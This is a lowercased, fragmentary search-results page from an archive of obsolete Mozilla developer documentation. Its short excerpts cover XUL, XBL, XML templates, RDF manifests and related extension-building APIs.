... instead of this: var processor = new xsltprocessor(); do this: var processor = components.classes["@mozilla.org/document-transformer;1?type=xslt"] .createinstance(components.interfaces.nsixsltprocessor); see also the xslt javascript interface in gecko document.load() regarding the loading of xml documents (as used above) original document information author(s): mike hearn last updated date: december 21, 2005 copyright information: copyright (c) mike hearn ...
request - Archive of obsolete content
for more advanced usage, check out the net/xhr module, based on the browser's xmlhttprequest object.
...this option sets the mozanon property in the underlying xmlhttprequest object.
Boxes - Archive of obsolete content
make the box style="display: block" and the wrapping behavior will occur when the box is resized: <?xml version="1.0"?> <?xml-stylesheet href="chrome://global/skin/" type="text/css"?> <window id="yourwindow" xmlns="http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul"> <hbox style="display: block"> <label value="aaa"/> <label value="bbb"/> <label value="ccc"/> <label value="ddd"/> <label value="eee"/> <label value="fff"/> <label value="ggg"/> <label value="hhh"/> <label value="iii"/> <label value="jj...
...this keeps the image from stretching inside the box: <?xml version="1.0"?> <?xml-stylesheet href="chrome://global/skin/" type="text/css"?> <window xmlns="http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul"> <box align="start" style="display:block"> <image src="chrome://global/skin/icons/error.png" style="padding:5px"/> <textbox /> <image src="chrome://global/skin/icons/error.png" style="padding:5px"/> <button label="hello"/> <image ...
LookupNamespaceURI - Archive of obsolete content
aceuri = lookupnamespaceuri; } function lookupnamespaceuri (prefix) { return lookupnamespaceurihelper(this, prefix); } function lookupnamespaceurihelper (node, prefix) { // adapted directly from http://www.w3.org/tr/dom-level-3-core/namespaces-algorithms.html#lookupnamespaceurialgo var i, att, htmlmode = document.contenttype, // mozilla only xmlnspattern = /^xmlns:(.*)$/; switch (node.nodetype) { case 1: // element_node (could also just test for node.element_node, etc., if supported in all browsers) if (node.namespaceuri != null && node.prefix === prefix) { // note: prefix could be "null" in the case we are looking for default namespace return node.namespaceuri...
...; } if (node.attributes.length) { for (i = 0; i < node.attributes.length; i++) { att = node.attributes[i]; if (xmlnspattern.test(att.name) && xmlnspattern.exec(att.name)[1] === prefix) { if (att.value) { return att.value; } return null; // unknown } if (att.name === 'xmlns' && prefix == null) { // default namespace if (att.value) { return att.value; } return null; // unknown ...
LookupPrefix - Archive of obsolete content
ent) { return _lookupnamespaceprefix(namespaceuri, node.ownerelement); } return null; default: if (node.parentnode) { // entityreferences may have to be skipped to get to it return _lookupnamespaceprefix(namespaceuri, node.parentnode); } return null; } } // private function for lookupprefix only function _lookupnamespaceprefix (namespaceuri, originalelement) { var xmlnspattern = /^xmlns:(.*)$/; if (originalelement.namespaceuri && originalelement.namespaceuri === namespaceuri && originalelement.prefix && originalelement.lookupnamespaceuri(originalelement.prefix) === namespaceuri) { return originalelement.prefix; } if (originalelement.attributes && originalelement.attributes.length) { for (var i=0; i < originalelement.attributes.length; i++) { var a...
...tt = originalelement.attributes[i]; xmlnspattern.lastindex = 0; var localname = att.localname || att.name.substr(att.name.indexof(':')+1); // latter test for ie which doesn't support localname if (localname.indexof(':') !== -1) { // for firefox when in html mode localname = localname.substr(att.name.indexof(':')+1); } if ( xmlnspattern.test(att.name) && att.value === namespaceuri && lookupnamespaceuri(originalelement, localname) === namespaceuri ) { return localname; } } } if (originalelement.parentnode) { // entityreferences may have to be skipped to get to it return _lookupnamespaceprefix(namespaceuri, originalelement.parentnode); } return null; } ...
XPath - Archive of obsolete content
notes and sample code for xpath and ajax (the following was moved from document.evaluate) obj.evaluate(xpathexpression,contextnode,namespaceresolver,resulttype,result); //obj and contextnode should be the same object, if context is a ajax xml object (example: returnedxml) this should be used as : returnedxml.evaluate(xpathexpression,returnedxml,namespaceresolver,returntype,result); //contextnode should be used in the one in which it was created //add by mooring 2008-11-15 16:00 china var xhr = new ajax('post','demo.xml',parsexml,'xml'); //ajax is a class written by javascript which return responsexml object to parsexml function function parsexml(obj)//obj is the returnxml object now { if(!obj.documentelement) { alert("your browser does't support this script!"); return...
...= obj.documentelement.selectnodes("/root/field/item"); for(var i=0;i<tobj.length; i++) { fields.push(tobj[i].text); } } else { var tobj = obj.evaluate("/root/field/item",obj.documentelement,null, xpathresult.any_type, null); var tmp = tobj.iteratenext(); while(tmp) { fields.push(tmp.textcontent); tmp = tobj.iteratenext(); } } alert(fields); } //here is the demo xml file for xpath <?xml version="1.0"?> <root> <field> <item>art_id</item> <item>psection</item> <item>qkind</item> <item>qtitle</item> <item>question</item> <item>pic</item> <item>answer1</item> <item>answer2</item> <item>answer3</item> <item>answer4</item> </field> </root> //add by mooring 2008-11-15 16:16 china ...
Code snippets - Archive of obsolete content
window code opening and manipulating windows toolbar toolbar related code sidebar sidebar related code forms forms related code xml code used to parse, write, manipulate, etc.
... xml file i/o code used to read, write and process files drag & drop code used to setup and handle drag and drop events dialogs code used to display and process dialog boxes alerts and notifications modal and non-modal ways to notify users preferences code used to read, write, and modify preferences js xpcom code used to define and call xpcom components in javascript running applications code used to run other applications <canvas> related what wg canvas-related code signing a xpi how to sign an xpi with pki delayed execution performing background operations.
Creating custom Firefox extensions with the Mozilla build system - Archive of obsolete content
this file should be located in the main extension directory and look something like this: <?xml version="1.0"?> <rdf xmlns="http://www.w3.org/1999/02/22-rdf-syntax-ns#" xmlns:em="http://www.mozilla.org/2004/em-rdf#"> <description about="urn:mozilla:install-manifest"> <em:id>myextension@mycompany.com</em:id> <em:version>0.1</em:version> <em:targetapplication> <!-- firefox --> <description> <em:id>{ec8030f7-c20a-464f-9b0e-13a3a9e97384}</em:id> ...
...examples might be database files or xml schemas.
Inline options - Archive of obsolete content
here is an example of an options.xul file: <?xml version="1.0"?> <!doctype mydialog system "chrome://myaddon/locale/mydialog.dtd"> <vbox xmlns="http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul"> <setting type="bool" pref="extensions.myaddon.bool" title="boolean" desc="stored as a boolean preference" /> </vbox> note that it's limited to <setting> tags.
...see mxr for what all this holds: http://mxr.mozilla.org/mozilla-release/source/toolkit/mozapps/extensions/content/setting.xml for example you can fire this.inputchanged() etc etc.
Creating reusable content with CSS and XBL - Archive of obsolete content
mozilla provides a mechanism that overcomes these limitations: xbl (xml bindings language).
...copy and paste the content from here: <?xml version="1.0"?> <!doctype bindings> <bindings xmlns="http://www.mozilla.org/xbl" xmlns:xul="http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul" xmlns:html="http://www.w3.org/1999/xhtml"> <binding id="square"> <resources> <stylesheet src="bind6.css"/> </resources> <content> <html:div anonid="square"/> <xul:button anonid="button" type="button"> ...
MCD, Mission Control Desktop, AKA AutoConfig - Archive of obsolete content
moz_ldap_xpcom=1 and moz_extensions_default="wallet spellcheck xmlextras pref webservices universalcharset auth" are now present in the default configure script.
...th -wcast-align -wno-long-long -pedantic -pthread -pipe c++ gcc version 3.4.3 20050227 (red hat 3.4.3-22.fc3) -fno-rtti -fno-exceptions -wall -wconversion -wpointer-arith -wcast-align -woverloaded-virtual -wsynth -wno-ctor-dtor-privacy -wno-non-virtual-dtor -wno-long-long -pedantic -fshort-wchar -pthread -pipe -i/usr/x11r6/include configure arguments --disable-mailnews --enable-extensions=cookie,xml-rpc,xmlextras,pref,transformiix,universalchardet,webservices,inspector,gnomevfs,negotiateauth --enable-crypto --disable-composer --enable-single-profile --disable-profilesharing --with-system-jpeg --with-system-zlib --with-system-png --with-pthreads --disable-tests --disable-jsd --disable-installer '--enable-optimize=-os -g -pipe -m32 -march=i386 -mtune=pentium4' --enable-xft --enable-xinerama --...
Making it into a dynamic overlay and packaging it up for distribution - Archive of obsolete content
we need to change some urls in the copy of tinderstatusoverlay.xul to point to the new locations the files will be in when they get installed via the xpi: <?xml version="1.0"?> <?xml-stylesheet href="chrome://tinderstatus/content/tinderstatus.css" type="text/css"?> <overlay id="tinderstatusoverlay" xmlns="http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul"> <script type="application/javascript" src="chrome://tinderstatus/content/tinderstatus.js" /> <statusbar id="status-bar"> <statusbarpanel class="statusbarpane...
...contents.rdf goes in the content sub-subdirectory: <?xml version="1.0"?> <rdf:rdf xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#" xmlns:chrome="http://www.mozilla.org/rdf/chrome#"> <rdf:seq about="urn:mozilla:package:root"> <rdf:li resource="urn:mozilla:package:tinderstatus"/> </rdf:seq> <rdf:description about="urn:mozilla:package:tinderstatus" chrome:displayname="mozilla tinderstatus extension" chrome:author="myk mele...
Creating a Skin for Firefox/Getting Started - Archive of obsolete content
this file is a small xml database which is used to describe the skin.
...this file is a small xml database that describes the skin.
Creating regular expressions for a microsummary generator - Archive of obsolete content
note that since generators are xml, we have to escape the special characters less-than-sign (<), greater-than-sign (>), and ampersand (&) by replacing them with their equivalent entity references (&lt;, &gt;, and &amp;, respectively) in the regular expressions when we put them in generators.
... for the regular expressions we have created in this tutorial, the only xml special character we have to escape is the ampersand.
Repackaging Firefox - Archive of obsolete content
tner.properties locale/ko/partner.properties locale/nb-no/partner.properties locale/nl/partner.properties locale/pl/partner.properties locale/pt-br/partner.properties locale/pt-pt/partner.properties locale/ru/partner.properties locale/sk/partner.properties locale/sv-se/partner.properties locale/tr/partner.properties locale/zh-cn/partner.properties locale/zh-tw/partner.properties partner-bookmarks.xml one by one, the files listed above are: chrome.manifest contains a specialized listing of the contents of the xpi.
... partner-bookmarks.xml default bookmarks are set here.
Isp Data - Archive of obsolete content
this page will explain how to create a .rdf or .xml file that you can place in the $installfolder/default/isp to do a variety of things.
... getting started first take a look at the number of examples available: http://infosec.ufl.edu/tbird/gatorlink.xml mailnews/base/ispdata/aol.rdf see the thunderbird isp hooks for more details.
Twitter - Archive of obsolete content
in fact it's hardly more than syntactic sugar for doing xmlhttprequests.
... error(xmlhttprequest, textstatus, errorthrown) xmlhttprequest is the xhr used in the request.
First run - Archive of obsolete content
the value of firstrunpage must be either a string or e4x xml.
... visit my <a href="http://example.com/myjetpack">homepage</a>.</p>' }; this does the same but uses e4x xml: var manifest = { firstrunpage: <> <p> thanks for installing!
First Run - Archive of obsolete content
the value of firstrunpage must be either a string or e4x xml.
...visit my <a href="http://example.com/myjetpack">homepage</a>.</p>' }; this does the same but uses e4x xml: var manifest = { firstrunpage: <> <p> thanks for installing!
slideBar - Archive of obsolete content
jetpack.future.import("slidebar"); methods append(iconurihtmlhtml/xmlurluriwidthintpersistboolautoreloadboolonclickfunctiononselectfunctiononreadyfunction)this is a list of options to specify modifications to your slidebar instance.
... iconhref oficon to show in the slidebaruri htmlhtml content for the featurehtml/xml urlurl to load content for the featureuri widthwidth of the content area and the selected slide sizeint persistdefault slide behavior when being selectedbool autoreloadautomatically reload content on selectbool onclickcallback when the icon is clickedfunction onselectcallback when the feature is selectedfunction onreadycallback when featured is loadedfunction an example: jetpack.slidebar.append({ url: "http://mozilla.com", width: 150, onclick: function(slide){ slide.icon.src = "chrome://branding/content/icon48.png"; }}); ...
Mozilla Application Framework - Archive of obsolete content
framework xul a comprehensive, cross-platform ui toolkit with an easy-to-learn xml language for defining ui structure, a schema for localization, and support for both native and cross-platform (using css) look and feel to make writing uis quick and painless.
... web services built-in support for xmlhttprequest, xml-rpc, soap, and wsdl to enable mozilla-based application authors to take advantage of the exploding world of web services.
Supporting per-window private browsing - Archive of obsolete content
var channel = services.io.newchannel("http://example.org", null, null); channel.queryinterface(components.interfaces.nsiprivatebrowsingchannel); channel.setprivate(true); // force the channel to be loaded in private mode similarly, xmlhttprequest objects created via createinstance(ci.nsixmlhttprequest) will often require explicit adjustment, since they have no context from which to derive a privacy status.
... var xhr = components.classes["@mozilla.org/xmlextras/xmlhttprequest;1"].createinstance(components.interfaces.nsixmlhttpreqeust); var channel = xhr.channel.queryinterface(components.interfaces.nsiprivatebrowsingchannel); channel.setprivate(true); ...
Binding Attachment and Detachment - Archive of obsolete content
input[type="checkbox"] { -moz-binding: url("http://www.mozilla.org/xbl/htmlbindings.xml#checkbox"); } bindings attached through css will only remain on the bound element as long as the element continues to match the style rule.
... var checkbox = document.getelementbyid("mycheckbox"); checkbox.style.mozbinding = "url(http://www.mozilla.org/xbl/htmlbindings.xml#checkbox)"; this attachment is not necessarily synchronous.
XBL - Archive of obsolete content
xml binding language (xbl, sometimes also called extensible bindings language) is a language for describing bindings that can be attached to elements in other documents.
... w3c sxbl (currently a working draft, 2005) stands for svg's xml binding language.
Creating XPI Installer Modules - Archive of obsolete content
the barley package ui is a single xul window with an accompanying image: <?xml version="1.0"?> <?xml-stylesheet href="chrome://communicator/skin/" type="text/css"?> <window title="barley window" xmlns:html="http://www.w3.org/1999/xhtml" xmlns="http://www.mozilla.org/keymaster/gat...re.is.only.xul" width="175" height="375" x="20" y="20" persist="width height x y" orient="vertical" autostretch="always"> <script src="barley.js"/> <image src="barley.gif" /> ...
...in the following listing, the items in red are particular to the barley package and can be edited for your own distribution: <?xml version="1.0"?> <rdf:rdf xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#" xmlns:chrome="http://www.mozilla.org/rdf/chrome#"> <!-- list all the packages being supplied --> <rdf:seq about="urn:mozilla:package:root"> <rdf:li resource="urn:mozilla:package:barley"/> </rdf:seq> <!-- package information --> <rdf:description about="urn:mozilla:package:barley" chrome:displayname="barl...
textbox.type - Archive of obsolete content
if you have <binding id="input" extends="chrome://global/content/bindings/autocomplete.xml#autocomplete" >, then the textbox will have autocomplete type, regardless of tree's 'type' attribute.
... use <binding extends="chrome://global/content/bindings/textbox.xml#textbox" > for ordinary textbox.
How to implement a custom XUL query processor component - Archive of obsolete content
xul provides template query processors for rdf, xml and sql (mozstorage).
... here is an example of what our xul might look like when using a custom query processor: <?xml version="1.0"?> <?xml-stylesheet href="chrome://global/skin/" type="text/css"?> <window xmlns="http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul"> <grid> <columns> <column flex="1"/> <column flex="3"/> <column flex="2"/> <column flex="1"/> </columns> <rows datasources="dummy" ref="." querytype="simpledata"> ...
Building Menus With Templates - Archive of obsolete content
here is an example using an xml source: <button type="menu" datasources="people.xml" ref="*" querytype="xml"> <template> <query expr="person"/> <action> <menupopup> <menuitem uri="?" label="?name"/> </menupopup> </action> </template> </button> <button label="children" oncommand="alert(this.previoussibling.childnodes.length);"/> in this example, the datasources attribute has been placed on a ...
...here is an rdf example: <button label="houses in my neighbourhood" type="menu" datasources="template-guide-streets.rdf" ref="http://www.xulplanet.com/rdf/myneighbourhood" xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <template> <rule rdf:type="http://www.xulplanet.com/rdf/house"> <menupopup> <menuitem uri="rdf:*" label="rdf:http://www.xulplanet.com/rdf/address"/> </menupopup> </rule> <rule> <menupopup> <menu uri="rdf:*" label="rdf:http://purl.org/dc/elements/1.1/title"/> </menupopup> </rule> </temp...
Multiple Queries - Archive of obsolete content
here is the previous example rewritten using the simple syntax: <hbox id="photoslist" datasources="template-guide-photos3.rdf" ref="http://www.xulplanet.com/rdf/myphotos" xmlns:dc="http://purl.org/dc/elements/1.1/"> <template> <rule dc:title="canal"> <button uri="rdf:*" image="rdf:*" label="view" orient="vertical"/> </rule> <rule> <image uri="rdf:*" src="rdf:*"/> </rule> </template> </hbox> the result to the user in this example is the same as the previous example.
... <hbox id="photoslist" datasources="template-guide-photos3.rdf" ref="http://www.xulplanet.com/rdf/myphotos" xmlns:dc="http://purl.org/dc/elements/1.1/"> <template dc:title="canal"> <button uri="rdf:*" image="rdf:*" label="view" orient="vertical"/> </template> </hbox> this example shows only a single photo since a condition is used to filter out the other two photos.
Multiple Rules - Archive of obsolete content
here is another example for an xml source: <radiogroup datasources="people.xml" ref="*" querytype="xml"> <template> <query expr="person"/> <rule> <where subject="?gender" rel="equals" value="male"/> <action> <radio uri="?" label="?name is male"/> </action> </rule> <rule> <action> <radio uri="?" label="?name is female" disabled="true"/> </action> </rule> </templ...
...ly beforematch if a value comes before another alphabetically aftermatch if a value comes after another alphabetically startswithmatch if a value starts with a specific string endswithmatch if a value ends with a specific string containsmatch if a value contains a substringto highlight results that contain a search term here is an example using the 'contains' operator: <vbox datasources="people.xml" ref="*" querytype="xml"> <template> <query expr="person"> <assign var="?letters" expr="string-length(@name) - 1"/> </query> <rule> <where subject="?name" rel="contains" value=" "/> <action> <label uri="?" value="?name has two names for a total length of ?letters"/> </action> </rule> </template> </vbox> this example contains only one rule with ...
RDF Modifications - Archive of obsolete content
note that this automatic updating of the template does not occur for xml and sqlite sources, only for rdf datasources.
...when the rdf parser loads rdf/xml, it starts with a new empty datasource, and as the parser parses the input data, it calls the datasource's assert function to add each found triple.
Result Generation - Archive of obsolete content
here is one serialization of rdf/xml for this graph, though there are many others.
... <?xml version="1.0"?> <rdf:rdf xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#" xmlns:rel="http://www.xulplanet.com/rdf/"> <rdf:description rdf:about="http://www.xulplanet.com/rdf/a"> <rel:relateditem rdf:resource="http://www.xulplanet.com/rdf/b"/> <rel:relateditem rdf:resource="http://www.xulplanet.com/rdf/c"/> <rel:relateditem rdf:resource="http://www.xulplanet.com/rdf/d"/> </rdf:description> <rdf:description rdf:about="http://www.xulplanet.com/rdf/c"> <rel:relateditem rdf:resource="http://www.xulplanet.com/rdf/d"/> </rdf:description> </rdf:rdf> for a xul template query, you first need to select a starting point in the rdf graph.
Simple Query Syntax - Archive of obsolete content
for example, to filter for photos with a specific country: <hbox id="photoslist" datasources="template-guide-photos4.rdf" ref="http://www.xulplanet.com/rdf/myphotos" xmlns:r="http://www.xulplanet.com/rdf/"> <template> <rule r:country="http://www.daml.org/2001/09/countries/iso#it"> <vbox class="box-padded" uri="rdf:*"> <image src="rdf:*"/> <label value="rdf:http://purl.org/dc/elements/1.1/title"/> </vbox> </rule> </template> </hbox> this example shows how a single attribute may be used to filter for only those results that ...
...this syntax is much like how predicates are the specifed in the rdf/xml.
Using Multiple Queries to Generate More Results - Archive of obsolete content
multiple queries with xml sources you can also use more than query when using an xml source.
... <vbox datasources="people.xml" ref="*" querytype="xml"> <template> <queryset> <query expr="group[@name='male']/*"/> <action> <checkbox uri="?" label="?name"/> </action> </queryset> <queryset> <query expr="group[@name='female']/*"/> <action> <label uri="?" value="?name"/> </action> </queryset> </template> </vbox> « previousnext » ...
Template Guide - Archive of obsolete content
basics of xul templates introduction rule compilation rdf template syntax result generation rdf query syntax actions recursive generation simple example bindings additional navigation filtering static content simple query syntax containment properties xml template syntax xml templates xml assignments sql template syntax sqlite templates common template syntax attribute substitution multiple rules using recursive templates building menus with templates special condition tests multiple queries using multiple queries to generate more results building trees with templates building trees building hierarchical trees template modifications template builder interface template and tree listeners rdf modifications additional topics sort...
...ing results additional template attributes template logging xml namespaces alternative approaches javascript templates xuljsdatasource: a component for extensions, which bring a "javascript template syntax".
Things I've tried to do with XUL - Archive of obsolete content
an ugly workaround for this problem might include nesting an invisible html-element in order to access its "clientwidth" method: <window xmlns="http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul" xmlns:html="http://www.w3.org/1999/xhtml"> ...
... <html:body id="invisible_element" flex="1" > <svg xmlns="http://www.w3.org/2000/svg" version="1.1"><!-- ...or _visible_ xul content or whatever...
Creating toolbar buttons (Customize Toolbar Window) - Archive of obsolete content
to attach it to the overlay, put this processing instruction (pi) at the top of the overlay file: <?xml-stylesheet href="chrome://myextension/skin/toolbar-button.css" type="text/css"?> note: the css file with your toolbar styles needs to be included in the overlay file, as you would expect, but also in the chrome.manifest file.
...the code looks like this: <?xml version="1.0"?> <rdf xmlns="http://www.w3.org/1999/02/22-rdf-syntax-ns#" xmlns:chrome="http://www.mozilla.org/rdf/chrome#"> <seq about="urn:mozilla:skin:root"> <li resource="urn:mozilla:skin:classic/1.0"/> </seq> <description about="urn:mozilla:skin:classic/1.0"> <chrome:packages> <seq about="urn:mozilla:skin:classic/1.0:packages"> <li resource="urn:mozilla:skin:classic/1.0:myextension"/> </seq> ...
Custom toolbar button - Archive of obsolete content
paste it into the new file: <?xml version="1.0"?> <rdf xmlns="http://www.w3.org/1999/02/22-rdf-syntax-ns#" xmlns:em="http://www.mozilla.org/2004/em-rdf#"> <description about="urn:mozilla:install-manifest" em:name="custom button" em:description="my custom toolbar button" em:creator="my name" em:id="custom-toolbar-button@example.com" em:version="1.0" em:homepageurl="http://developer.mozilla.or...
...paste it into the new file: <?xml version="1.0" encoding="utf-8"?> <?xml-stylesheet type="text/css" href="chrome://custombutton/content/button.css"?> <!doctype overlay > <overlay id="custombutton-overlay" xmlns="http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul"> <script type="application/javascript" src="chrome://custombutton/content/button.js"/> <!-- firefox --> <toolbarpalette id="browsertoolbarpalette"> ...
Anonymous Content - Archive of obsolete content
declaring scrollbar example the example below shows how a scrollbar might be declared (it has been simplified a bit from the real thing): <bindings xmlns="http://www.mozilla.org/xbl" xmlns:xul="http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul"> <binding id="scrollbarbinding"> <content> <xul:scrollbarbutton type="decrement"/> <xul:slider flex="1"> <xul:thumb/> </xul:slider> <xul:scrollbarbutton type="increment"/> </content> </binding> </bindings> this file contains a single bindi...
...for example, a simplified version of an editable menulist element, might be created as follows: xul: <menu class="dropbox"> <menupopup> <menuitem label="1000"/> <menuitem label="2000"/> </menupopup> </menu> css: menu.dropbox { -moz-binding: url('chrome://example/skin/example.xml#dropbox'); } xbl: <binding id="dropbox"> <content> <children/> <xul:textbox flex="1"/> <xul:button src="chrome://global/skin/images/dropbox.jpg"/> </content> </binding> this example creates an input field with a button beside it.
Creating Dialogs - Archive of obsolete content
example dialog source view <?xml version="1.0"?> <?xml-stylesheet href="chrome://global/skin/global.css" type="text/css"?> <dialog id="donothing" title="dialog example" xmlns="http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul" buttons="accept,cancel" ondialogaccept="return dook();" ondialogcancel="return docancel();"> <script> function dook(){ alert("you pressed ok!"); return tru...
... example dialog with more features <?xml version="1.0"?> <?xml-stylesheet href="chrome://global/skin/global.css" type="text/css"?> <dialog id="mydialog" title="my dialog" xmlns="http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul" onload="window.sizetocontent();" buttons="accept,cancel" buttonlabelaccept="set favourite" buttonaccesskeyaccept="s" ondialogaccept="return dosave();"...
Creating a Wizard - Archive of obsolete content
an example wizard source <?xml version="1.0"?> <?xml-stylesheet href="chrome://global/skin/" type="text/css"?> <wizard id="example-window" title="select a dog wizard" xmlns="http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul"> <wizardpage> <description> this wizard will help you select the type of dog that is best for you." </description> <label value="why do you want a dog?"/> <menulist...
...for example: <wizard id="example-window" title="select a dog wizard" onwizardfinish="return savedoginfo();" xmlns="http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul"> when the user clicks the finish button, the function savedoginfo() will be called, which would be defined in a script file to save the information that was entered.
Element Positioning - Archive of obsolete content
the following example demonstrates this: example 2 : source view <window orient="horizontal" xmlns="http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul"> <hbox> <button label="yes" flex="1"/> <button label="no"/> <button label="i really don't know one way or the other"/> </hbox> </window> the window will initially appear like in the image earlier.
... example 5: source view <?xml version="1.0"?> <?xml-stylesheet href="chrome://global/skin/" type="text/css"?> <window id="yesno" title="question" orient="horizontal" xmlns="http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul"> <hbox> <button label="yes"/> <button label="no"/> </hbox> <hbox align="center"> <button label="maybe"/> <button label="perhaps"/> </hbox> </window> you c...
Skinning XUL Files by Hand - Archive of obsolete content
when the xul file is a stand-alone, as in this example, where the stylesheet is external and sitting in the same directory, the processing instruction at the top of the file is as follows: <?xml-stylesheet href="sample.css" type="text/css"?> a xul file may actually have any number of stylesheet processing instructions: one for each stylesheet that the xul wants to load.
... <?xml-stylesheet href="sample.css" type="text/css"?> create a new text file called sample.css.
Tree View Details - Archive of obsolete content
<window onload="init();" xmlns="http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul"> <tree id="elementlist" flex="1"> <treecols> <treecol id="element" label="element" primary="true" flex="1"/> </treecols> <treechildren/> </tree> </window> we use a simple tree here with no data in the treechildren.
...they are added near the end of the complete example, shown here: <?xml version="1.0"?> <?xml-stylesheet href="chrome://global/skin/" type="text/css"?> <window onload="init();" xmlns="http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul"> <tree id="elementlist" flex="1"> <treecols> <treecol id="element" label="element" primary="true" flex="1"/> </treecols> <treechildren/> </tree> <script> <![cdata[ var treeview = { childdata : { s...
XBL Example - Archive of obsolete content
<box class="slideshow" previoustext="previous" nexttext="next" flex="1"> <button label="button 1"/> <checkbox label="checkbox 2"/> <textbox/> </box> the style sheet used here is: .slideshow { -moz-binding: url("slideshow.xml#slideshow"); } the first button, button 1 has been used as the first page of the deck.
...this is the general mechanism in all xml files that can be used to escape all of the text inside it.
XUL Parser in Python/source - Archive of obsolete content
import sys, glob, xmllib import os, re el_list = {} w = open('res.html', 'w') # unfortunately, i had to put this hack in here to suppress the printing out of the resolved namespace: # "xmlns="http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul window", etc.
... def strip(snip): t = re.sub('http://.*?\s', '', snip) return t class xulparser(xmllib.xmlparser): def unknown_starttag(self, t, a): name = strip(t) if name not in el_list: el_list[name] = {} for attr,val in a.items(): el_list[name][strip(attr)] = strip(val) def syntax_error(self, message): pass p = xulparser() cmd = 'dir /s /b *.xul' chrome_dir = 'c:\program files\netscape\netscape 6\chrome' os.chdir(chrome_dir) files = os.popen(cmd).readlines() for file in files: file = file.strip() print '** ' + file + ' **' data = open(file).read() p.feed(data) w.write('<html><h3>periodic table of xul elements</h3>') w.write('<table><style>.head {font-weight: bold; background-color: lightgrey;}</style>') elements = el_list.keys() elements.sort() for item in elements: w.writ...
XUL element attributes - Archive of obsolete content
for xml datasources, only one source is used, either the url of an xml file or an anchor reference to another element within the same document.
...firefox 3 provides 3 built-in datasources: 'rdf', default, 'xml' and 'storage'.
assign - Archive of obsolete content
« xul reference home [ examples | attributes | properties | methods | related ] for xml templates, specifies an additional variable to assign a value to.
... for more information, see xml_assignments attributes expr, var examples (example needed) attributes expr type: string for xml queries, an xpath expression which returns results.
prefwindow - Archive of obsolete content
, buttonorient, buttonpack, buttons, defaultbutton, lastselected, onbeforeaccept, ondialogaccept, ondialogcancel, ondialogdisclosure, ondialoghelp, onload, onunload, title, type properties buttons, currentpane, defaultbutton, lastselected, preferencepanes, type methods acceptdialog, addpane, canceldialog, centerwindowonscreen, getbutton, opensubdialog, openwindow, showpane examples <?xml version="1.0"?> <?xml-stylesheet href="chrome://global/skin/" type="text/css"?> <prefwindow xmlns="http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul"> <prefpane id="saveoptions" label="backups"> <preferences> <preference id="pref-backup" name="myapp.mybackups" type="bool"/> <preference id="pref-backupduration" name="myapp.mybackups.duration" type="int"/> </prefer...
... <prefwindow xmlns="http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul" id="my-config-dialog" title="my application: configuration" onunload="onunload(event.target)"> </prefwindow> function onunload(prefwindow) { // do actions there like saving values, password setting (that is not handled as a preference), etc.
query - Archive of obsolete content
ArchiveMozillaXULquery
for xml datasources, the query should have an expr attribute and may optionally contain assign elements.
... attributes expr examples (example needed) attributes expr type: string for xml queries, an xpath expression which returns results.
Getting started with XULRunner - Archive of obsolete content
main.xul: <?xml version="1.0"?> <?xml-stylesheet href="chrome://global/skin/" type="text/css"?> <window id="main" title="my app" width="300" height="300" xmlns="http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul"> <script type="application/javascript" src="chrome://myapp/content/main.js"/> <caption label="hello world"/> <separator/> <button label="more >>" oncommand="showmore();"/> <sepa...
...xul is simple to use and quite powerful and can even be used on mobile devices.</description> </window> note: make sure there is no extra whitespace at the beginning of the xml/xul file the application also has a javascript file.
Windows and menus in XULRunner - Archive of obsolete content
here is an example: <?xml version="1.0"?> <?xml-stylesheet href="chrome://basicapp/skin/main.css" type="text/css"?> <!doctype window system "chrome://basicapp/locale/main.dtd"> <window id="main" title="&title;" xmlns="http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul"> <script src="main.js"/> ...
... building on the simple window code, here is what xul menus and toolbars look like: <?xml version="1.0"?> <?xml-stylesheet href="chrome://basicapp/skin/main.css" type="text/css"?> <!doctype window system "chrome://basicapp/locale/main.dtd"> <window id="main" title="&title;" xmlns="http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul"> <script src="main.js"/> <toolbox> <menubar id="menubar"> <menu id="file-menu" label="&file;"> <menupopup id="fi...
nsIContentPolicy - Archive of obsolete content
type_xmlhttprequest 11 indicates an xmlhttprequest.
... type_dtd 13 indicates a dtd loaded by an xml document.
reftest opportunities files - Archive of obsolete content
tests from dbaron http://dbaron.org/css/test/cachetest http://dbaron.org/css/test/lenunit http://dbaron.org/css/test/implied http://dbaron.org/css/test/formelem http://dbaron.org/css/test/sec010303 http://dbaron.org/css/test/sec0302 http://dbaron.org/css/test/sec0302_xml http://dbaron.org/css/test/parsing http://dbaron.org/css/test/parsing2 http://dbaron.org/css/test/parsing4 http://dbaron.org/css/test/parsing5 http://dbaron.org/css/test/parsing6 http://dbaron.org/css/test/sec040102 http://dbaron.org/css/test/casesens http://dbaron.org/css/test/xmltypesel http://dbaron.org/css/test/unitless http://dbaron.org/css/test/exunit http://dbaron.org/css/test/emunit http:...
